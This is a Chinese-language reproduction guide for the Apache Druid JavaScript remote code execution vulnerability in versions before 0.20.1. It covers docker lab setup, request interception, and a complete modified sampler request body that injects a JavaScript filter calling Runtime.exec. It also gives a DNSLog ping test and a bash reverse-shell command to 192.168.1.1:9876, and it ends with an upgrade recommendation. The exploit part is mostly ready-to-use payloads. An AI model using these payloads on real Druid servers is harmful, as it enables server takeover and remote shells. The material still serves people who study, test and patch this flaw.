漏洞概述
Apache Druid 是一個分布式的數據處理系統。Apache Druid包括執行用戶提供的JavaScript的功能嵌入在各種類型請求中的代碼。在Druid 0.20.0及更低版本中，用戶發送惡意請求，利用Apache Druid漏洞可以執行任意代碼。攻擊者可直接構造惡意請求執行任意代碼，控制服務器。
影響版本
Apache Druid < 0.20.1
環境搭建
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
漏洞復現
訪問8888端口，進入Apache Druid首頁：
點擊左上方Load data -> Local disk:
右側表單填入:
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz
接下來一路點擊next，直到下一步是Filter時，抓取數據包：
此時替換數據包中POST的data數據，原始數據：
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
替換后的數據：
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
其中，執行命令的代碼為：
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"
DNSLog測試
exec('ping xxx.dnslog.cn -c 1')
反彈shell
exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')
成功反彈shell。
修復建議
升級到最新版Apache Druid 0.20.1